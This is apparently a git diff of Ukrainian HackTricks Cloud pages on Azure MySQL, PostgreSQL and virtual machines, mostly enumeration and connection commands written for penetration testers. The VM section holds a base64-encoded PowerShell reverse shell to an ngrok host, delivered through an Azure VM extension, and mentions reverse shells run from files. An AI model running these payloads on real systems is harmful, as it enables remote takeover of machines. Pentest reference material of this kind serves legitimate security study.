Get-AzMySqlFlexibleServerConfiguration -ResourceGroupName <resource-group-name> -ServerName <server_name>
# Get the connection string for a flexible server
Get-AzMySqlFlexibleServerConnectionString -ResourceGroupName <resource-group-name> -ServerName <server_name> -Client <client>
# List all read replicas for a given server
Get-AzMySqlFlexibleServerReplica -ResourceGroupName <resource-group-name> -ServerName <server_name>
# Get the maintenance window details for a flexible server
Get-AzMySqlFlexibleServerMaintenanceWindow -ResourceGroupName <resource-group-name> -ServerName <server_name>
# List log files for a server
Get-AzMySqlFlexibleServerLog -ResourceGroupName <resource-group-name> -ServerName <server_name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
### Підключення
З розширенням rdbms-connect ви можете отримати доступ до бази даних за допомогою:
{% code overflow="wrap" %}
```bash
az mysql flexible-server connect -n <server-name> -u <username> -p <password> --interactive
#or execute commands
az mysql flexible-server execute \
-n <server-name> \
-u <username> \
-p "<password>" \
-d <database-name> \
--querytext "SELECT * FROM <table-name>;"
```
{% endcode %}
Або з плагіном рідного розширення MySQL
{% code overflow="wrap" %}
```bash
mysql -h <server-name>.mysql.database.azure.com -P 3306 -u <username> -p
```
{% endcode %}
Також ви можете виконувати запити з github, але також потрібні пароль і користувач. Вам потрібно налаштувати sql файл з запитом для виконання, а потім:
{% code overflow="wrap" %}
```bash
# Setup
az mysql flexible-server deploy setup \
-s <server-name> \
-g <resource-group> \
-u <admin-user> \
-p "<admin-password>" \
--sql-file <path-to-sql-file> \
--repo <github-username/repository-name> \
--branch <branch-name> \
--action-name <action-name> \
--allow-push
# Run it
az mysql flexible-server deploy run \
--action-name <action-name> \
--branch <branch-name>
```
{% endcode %}
## Підвищення Привілеїв
{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %}
[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md)
{% endcontent-ref %}
## Після Експлуатації
{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %}
[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md)
{% endcontent-ref %}
## ToDo
* Знайти спосіб доступу з mysql flexible-server ad-admin, щоб перевірити, чи це метод підвищення привілеїв
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,173 @@
# Az - PostgreSQL Databases
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Azure PostgreSQL
**Azure Database for PostgreSQL** - це повністю керована **сервіс реляційних баз даних на основі PostgreSQL** Community Edition. Він розроблений для забезпечення масштабованості, безпеки та гнучкості для різноманітних потреб додатків. Подібно до Azure MySQL, PostgreSQL пропонує дві моделі розгортання:
* **Single Server** (на етапі виведення з експлуатації):
- Оптимізовано для простих, економічних розгортань PostgreSQL.
- Має автоматизовані резервні копії, базове моніторинг та високу доступність.
- Ідеально підходить для додатків з передбачуваними навантаженнями.
* **Flexible Server**:
- Забезпечує більший контроль над управлінням базами даних та конфігурацією.
- Підтримує високу доступність, як в одній зоні, так і між зонами.
- Має еластичне масштабування, автоматизоване обслуговування та функціональність для економії витрат.
- Дозволяє запускати та зупиняти сервер для оптимізації витрат.
### Key Features
* **Custom Maintenance Windows**: Заплануйте оновлення, щоб мінімізувати перерви.
* **Active Monitoring**: Доступ до детальних метрик та журналів для відстеження та покращення продуктивності бази даних.
* **Stop/Start Server**: Користувачі можуть зупиняти та запускати сервер.
* **Automatic Backups**: Вбудовані щоденні резервні копії з періодами зберігання, які можна налаштувати до 35 днів.
* **Role-Based Access**: Контролюйте дозволи користувачів та адміністративний доступ через Azure Active Directory.
* **Security and Networking**: можна керувати правилами брандмауера сервера для безпечного доступу до бази даних та відключати конфігурації віртуальної мережі за потреби.
### Enumeration
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# List servers in a resource group
az postgres flexible-server list --resource-group <resource-group-name>
# List databases in a flexible-server
az postgres flexible-server db list --resource-group <resource-group-name> --server-name <server_name>
# Show specific details of a Postgre database
az postgres flexible-server db show --resource-group <resource-group-name> --server-name <server_name> --database-name <database_name>
# List firewall rules of the a server
az postgres flexible-server firewall-rule list --resource-group <resource-group-name> --name <server_name>
# List parameter values for a felxible server
az postgres flexible-server parameter list --resource-group <resource-group-name> --server-name <server_name>
# List private link
az postgres flexible-server private-link-resource list --resource-group <resource-group-name> --server-name <server_name>
# List all ad-admin in a server
az postgres flexible-server ad-admin list --resource-group <resource-group-name> --server-name <server_name>
# List all user assigned managed identities from the server
az postgres flexible-server identity list --resource-group <resource-group-name> --server-name <server_name>
# List the server backups
az postgres flexible-server backup list --resource-group <resource-group-name> --name <server_name>
# List all read replicas for a given server
az postgres flexible-server replica list --resource-group <resource-group-name> --name <server_name>
# List migrations
az postgres flexible-server migration list --resource-group <resource-group-name> --name <server_name>
# Get the server's advanced threat protection setting
az postgres flexible-server advanced-threat-protection-setting show --resource-group <resource-group-name> --name <server_name>
# List all of the maintenances of a flexible server
az postgres flexible-server maintenance list --resource-group <resource-group-name> --server-name <server_name>
# List log files for a server.
az postgres flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.PostgreSql
# List flexible-servers in a resource group
Get-AzPostgreSqlFlexibleServer -ResourceGroupName <resource-group-name>
# List databases in a flexible-server
Get-AzPostgreSqlFlexibleServerDatabase -ResourceGroupName <resource-group-name> -ServerName <server_name>
# List firewall rules of the a flexible-server
Get-AzPostgreSqlFlexibleServerFirewallRule -ResourceGroupName <resource-group-name> -ServerName <server_name>
# List configuration settings of a flexible server
Get-AzPostgreSqlFlexibleServerConfiguration -ResourceGroupName <resource-group-name> -ServerName <server_name>
# Get the connection string for a flexible server
Get-AzPostgreSqlFlexibleServerConnectionString -ResourceGroupName <resource-group-name> -ServerName <server_name> -Client <client>
Get-AzPostgreSqlFlexibleServerLocationBasedCapability -Location <location>
# List servers in a resource group
Get-AzPostgreSqlServer -ResourceGroupName <resource-group-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
### Підключення
З розширенням rdbms-connect ви можете отримати доступ до бази даних за допомогою:
{% code overflow="wrap" %}
```bash
az postgres flexible-server connect -n <server-name> -u <username> -p <password> --interactive
#or execute commands
az postgres flexible-server execute \
-n <server-name> \
-u <username> \
-p "<password>" \
-d <database-name> \
--querytext "SELECT * FROM <table-name>;"
```
{% endcode %}
Або
{% code overflow="wrap" %}
```bash
psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser <database-name>
```
{% endcode %}
## Посилання
* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/)
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview)
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview)
## Підвищення привілеїв
{% content-ref url="../az-privilege-escalation/az-postgresql-privesc.md" %}
[az-postgresql-privesc.md](../az-privilege-escalation/az-postgresql-privesc.md)
{% endcontent-ref %}
## Постексплуатація
{% content-ref url="../az-post-exploitation/az-postgresql-post-exploitation.md" %}
[az-postgresql-post-exploitation.md](../az-post-exploitation/az-postgresql-post-exploitation.md)
{% endcontent-ref %}
## ToDo
* Знайти спосіб доступу з ad-admin, щоб перевірити, чи це метод підвищення привілеїв
{% hint style="success" %}
Вчіться та практикуйте Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Вчіться та практикуйте Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View File

@@ -19,13 +19,13 @@ az-azure-network.md
- **Зони доступності**: Зони доступності - це окремі групи дата-центрів у конкретному регіоні Azure, які фізично відокремлені, щоб мінімізувати ризик впливу кількох зон через локальні відключення або катастрофи.
- **Тип безпеки**:
- **Стандартна безпека**: Це тип безпеки за замовчуванням, який не вимагає жодного специфічного налаштування.
- **Довірене завантаження**: Цей тип безпеки підвищує захист від завантажувальних комплектів і шкідливого ПЗ на рівні ядра, використовуючи Secure Boot і віртуальний модуль безпечної платформи (vTPM).
- **Довірене завантаження**: Цей тип безпеки підвищує захист від завантажувальних комплектів і шкідливого ПЗ на рівні ядра, використовуючи Secure Boot та віртуальний модуль довіреної платформи (vTPM).
- **Конфіденційні ВМ**: На додаток до довіреного завантаження, він пропонує апаратну ізоляцію між ВМ, гіпервізором і управлінням хостом, покращує шифрування диска та [**більше**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Аутентифікація**: За замовчуванням генерується новий **SSH ключ**, хоча можливо використовувати публічний ключ або попередній ключ, а ім'я користувача за замовчуванням - **azureuser**. Також можливо налаштувати використання **пароля.**
- **Шифрування диска ВМ:** Диск за замовчуванням шифрується в спокої, використовуючи ключ, керований платформою.
- Також можливо увімкнути **Шифрування на хості**, де дані шифруються на хості перед відправкою до служби зберігання, забезпечуючи шифрування від кінця до кінця між хостом і службою зберігання ([**документація**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- **Група безпеки мережі NIC**:
- **Немає**: В основному відкриває всі порти
- **Немає**: В основному відкриває кожен порт
- **Базова**: Дозволяє легко відкрити вхідні порти HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- **Розширена**: Виберіть групу безпеки
- **Резервне копіювання**: Можливо увімкнути **Стандартне** резервне копіювання (один раз на день) та **Розширене** (кілька разів на день)
@@ -39,16 +39,16 @@ az-azure-network.md
- Загальний вихід мережі перевищує 200 ГБ
- Показник доступності ВМ менше 1
- **Монітор здоров'я**: За замовчуванням перевіряє протокол HTTP на порту 80
- **Замки**: Дозволяє заблокувати ВМ, щоб її можна було лише читати (**ReadOnly** замок) або щоб її можна було читати та оновлювати, але не видаляти (**CanNotDelete** замок).
- **Замки**: Дозволяє заблокувати ВМ, щоб її можна було лише читати (**ReadOnly** замок) або її можна було читати та оновлювати, але не видаляти (**CanNotDelete** замок).
- Більшість ресурсів, пов'язаних з ВМ, **також підтримують замки**, такі як диски, знімки...
- Замки також можуть бути застосовані на **рівнях групи ресурсів і підписки**
- Замки також можуть бути застосовані на **рівнях групи ресурсів та підписки**
## Диски та знімки
- Можливо **увімкнути приєднання диска до 2 або більше ВМ**
- За замовчуванням кожен диск **шифрується** за допомогою ключа платформи.
- Те ж саме стосується знімків
- За замовчуванням можливо **поділитися диском з усіх мереж**, але його також можна **обмежити** лише певним **приватним доступом** або **повністю відключити** публічний і приватний доступ.
- За замовчуванням можливо **поділитися диском з усіма мережами**, але його також можна **обмежити** лише певними **приватними доступами** або **повністю відключити** публічний та приватний доступ.
- Те ж саме стосується знімків
- Можливо **згенерувати SAS URI** (максимум на 60 днів) для **експорту диска**, який можна налаштувати на вимогу аутентифікації або ні
- Те ж саме стосується знімків
@@ -150,7 +150,7 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
Azure Bastion забезпечує безпечний та безперешкодний **Remote Desktop Protocol (RDP)** та **Secure Shell (SSH)** доступ до ваших віртуальних машин (VM) безпосередньо через Azure Portal або через jump box. Завдяки **усуненню необхідності в публічних IP-адресах** на ваших VM.
Bastion розгортає підмережу під назвою **`AzureBastionSubnet`** з маскою підмережі `/26` у VNet, в якому потрібно працювати. Потім він дозволяє **підключатися до внутрішніх VM через браузер** за допомогою `RDP` та `SSH`, уникаючи відкриття портів VM в Інтернет. Він також може працювати як **jump host**.
Bastion розгортає підмережу під назвою **`AzureBastionSubnet`** з маскою підмережі `/26` у VNet, в якому потрібно працювати. Потім він дозволяє **підключатися до внутрішніх VM через браузер** за допомогою `RDP` та `SSH`, уникаючи відкриття портів VM в Інтернеті. Він також може працювати як **jump host**.
Щоб перерахувати всі Azure Bastion Hosts у вашій підписці та підключитися до VM через них, ви можете використовувати наступні команди:
@@ -189,14 +189,14 @@ Get-AzBastion
## Metadata
Служба метаданих екземпляра Azure (IMDS) **надає інформацію про запущені екземпляри віртуальних машин** для допомоги в їх управлінні та налаштуванні. Вона пропонує деталі, такі як SKU, зберігання, мережеві конфігурації та інформацію про майбутні події технічного обслуговування через **REST API, доступний за не маршрутизованою IP-адресою 169.254.169.254**, яка доступна лише зсередини ВМ. Зв'язок між ВМ та IMDS залишається в межах хоста, що забезпечує безпечний доступ. При запиті до IMDS HTTP-клієнти всередині ВМ повинні обходити веб-проксі для забезпечення належного зв'язку.
Служба метаданих екземпляра Azure (IMDS) **надає інформацію про запущені екземпляри віртуальних машин** для допомоги в їх управлінні та налаштуванні. Вона пропонує деталі, такі як SKU, зберігання, мережеві конфігурації та інформацію про майбутні події технічного обслуговування через **REST API, доступний за нерозподіленою IP-адресою 169.254.169.254**, яка доступна лише зсередини ВМ. Зв'язок між ВМ та IMDS залишається в межах хоста, що забезпечує безпечний доступ. При запиті до IMDS HTTP-клієнти всередині ВМ повинні обходити веб-проксі для забезпечення належної комунікації.
Крім того, для зв'язку з кінцевою точкою метаданих HTTP-запит повинен містити заголовок **`Metadata: true`** і не повинен містити заголовок **`X-Forwarded-For`**.
Перевірте, як його перерахувати в:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}
## VM Enumeration
@@ -509,7 +509,7 @@ az vm extension set \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
```
- Виконати реверс-шел з файлу
- Виконати зворотний шел з файлу
```bash
az vm extension set \
--resource-group <rsc-group> \
@@ -551,7 +551,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredStateConfiguration (DSC)</summary>
Це **розширення ВМ**, яке належить Microsoft і використовує PowerShell DSC для управління конфігурацією Azure Windows ВMs. Тому його можна використовувати для **виконання довільних команд** у Windows ВMs через це розширення:
Це **розширення ВМ**, яке належить Microsoft і використовує PowerShell DSC для управління конфігурацією Azure Windows ВМ. Тому його можна використовувати для **виконання довільних команд** у Windows ВМ через це розширення:
```powershell
# Content of revShell.ps1
Configuration RevShellConfig {
@@ -625,9 +625,9 @@ az sig gallery-application list --gallery-name <gallery-name> --resource-group <
Перевірте, як встановити нові програми в [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
> [!CAUTION]
> Можливо **ділитися окремими додатками та галереями з іншими підписками або орендарями**. Що є дуже цікавим, оскільки це може дозволити зловмиснику створити бекдор для програми та перейти до інших підписок і орендарів.
> Можливо **поділитися окремими додатками та галереями з іншими підписками або орендарями**. Що дуже цікаво, оскільки це може дозволити зловмиснику створити бекдор для програми та перейти до інших підписок і орендарів.
Але **немає "маркетплейсу" для vm додатків**, як це є для розширень.
Але **немає "ринку" для vm додатків**, як це є для розширень.
Необхідні дозволи:
@@ -739,7 +739,7 @@ echo "Hello World" > /var/tmp/output.txt
```
### **Запустити команду**
Це найосновніший механізм, який Azure надає для **виконання довільних команд у ВМ**. Необхідне дозволення - `Microsoft.Compute/virtualMachines/runCommand/action`.
Це найосновніший механізм, який Azure надає для **виконання довільних команд у ВМ**. Необхідне дозволи - `Microsoft.Compute/virtualMachines/runCommand/action`.
{{#tabs }}
{{#tab name="Linux" }}